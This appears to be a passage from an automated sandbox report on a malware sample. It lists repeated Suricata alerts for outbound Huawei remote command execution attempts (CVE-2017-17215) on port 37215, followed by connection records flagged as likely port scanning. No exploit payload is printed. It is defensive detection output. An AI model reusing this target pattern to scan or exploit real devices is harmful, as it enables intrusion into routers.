Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44252 -> 197.75.103.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41444 -> 41.165.106.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58996 -> 156.15.110.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57802 -> 197.236.232.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54898 -> 156.202.243.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56184 -> 156.70.247.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38410 -> 41.82.80.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32974 -> 41.225.63.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41858 -> 156.87.246.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37720 -> 197.23.164.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60702 -> 41.202.147.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59828 -> 197.211.167.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36600 -> 41.141.238.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50540 -> 197.211.174.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39386 -> 41.138.22.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60556 -> 197.85.20.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38202 -> 41.251.86.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46666 -> 156.237.235.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38240 -> 41.163.125.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46954 -> 156.205.204.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51748 -> 197.156.215.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50906 -> 41.237.121.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39212 -> 156.156.136.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56738 -> 41.93.99.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34324 -> 41.146.12.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54706 -> 41.104.10.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39192 -> 41.151.31.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35810 -> 197.84.75.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55780 -> 197.57.233.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40264 -> 41.93.111.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52886 -> 156.105.68.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41182 -> 197.23.243.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50920 -> 41.0.66.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34998 -> 41.22.143.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54560 -> 41.146.247.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36726 -> 41.145.50.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54954 -> 156.180.191.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60004 -> 156.167.26.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39556 -> 156.156.122.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49578 -> 41.96.40.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41954 -> 41.108.0.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46944 -> 41.228.32.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60204 -> 197.216.95.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42374 -> 41.104.29.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35744 -> 41.141.77.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51466 -> 41.231.142.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38982 -> 156.175.50.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35702 -> 197.216.45.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55806 -> 197.177.63.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51564 -> 197.37.51.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35936 -> 197.252.1.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56162 -> 41.177.243.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35428 -> 41.163.10.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49754 -> 41.204.244.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42698 -> 197.145.61.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37670 -> 197.233.237.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42572 -> 156.234.28.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48804 -> 41.206.92.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34016 -> 41.162.5.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34628 -> 156.206.182.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60260 -> 156.41.207.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32938 -> 41.49.19.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37344 -> 41.168.18.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57886 -> 156.77.57.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42290 -> 156.184.222.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39208 -> 41.7.151.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50606 -> 41.59.164.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54734 -> 156.26.49.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53774 -> 197.209.241.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41248 -> 41.213.67.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51490 -> 41.94.152.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51808 -> 197.60.204.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57532 -> 156.79.121.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56092 -> 197.22.82.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57672 -> 41.189.63.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38458 -> 197.2.184.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40384 -> 156.137.34.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41946 -> 197.29.42.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56934 -> 197.173.203.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52560 -> 197.15.12.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54918 -> 156.207.45.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57664 -> 156.128.52.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48698 -> 156.5.24.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58732 -> 197.39.150.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35986 -> 156.51.177.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34400 -> 41.204.4.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38500 -> 156.15.122.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52562 -> 156.67.122.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58694 -> 156.13.62.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60344 -> 41.12.75.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55116 -> 41.116.201.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38504 -> 156.241.212.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54688 -> 197.190.148.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36690 -> 156.150.52.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46112 -> 197.137.61.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47612 -> 197.88.23.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43716 -> 156.58.216.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32846 -> 156.197.220.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42992 -> 156.158.134.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37210 -> 197.189.33.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37152 -> 41.64.174.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44440 -> 197.172.74.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46770 -> 197.61.41.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43314 -> 197.239.142.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48890 -> 197.13.34.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38062 -> 197.154.112.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53486 -> 41.6.71.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49308 -> 156.95.71.36:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.205.105.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.109.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.250.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.155.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.195.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.121.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.242.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.24.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.171.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.84.179.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.102.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.204.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.2.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.40.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.51.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.245.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.130.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.162.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.158.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.208.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.4.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.156.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.206.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.239.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.24.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.79.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.117.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.246.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.181.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.218.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.127.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.251.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.175.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.134.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.101.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.8.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.147.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.172.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.161.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.206.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.126.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.94.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.218.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.244.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.22.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.62.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.108.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.110.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.129.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.48.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.23.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.7.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.109.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.219.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.70.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.73.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.64.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.158.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.187.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.21.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.132.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.170.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.119.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.19.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.216.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.237.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.223.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.158.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.134.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.160.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.220.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.99.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.118.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.35.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.133.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.5.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.222.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.124.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.21.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.103.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.70.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.132.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.61.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.194.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.63.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.104.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.194.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.40.154.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.71.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.110.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.236.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.223.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.235.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.206.182.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.208.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.7.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.163.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.208.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.131.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.1.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.106.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.133.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.245.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.128.98.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.126.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.29.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.160.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.143.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.208.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.123.77.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.45.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.11.132 ports 1,2,3,5,7,37215
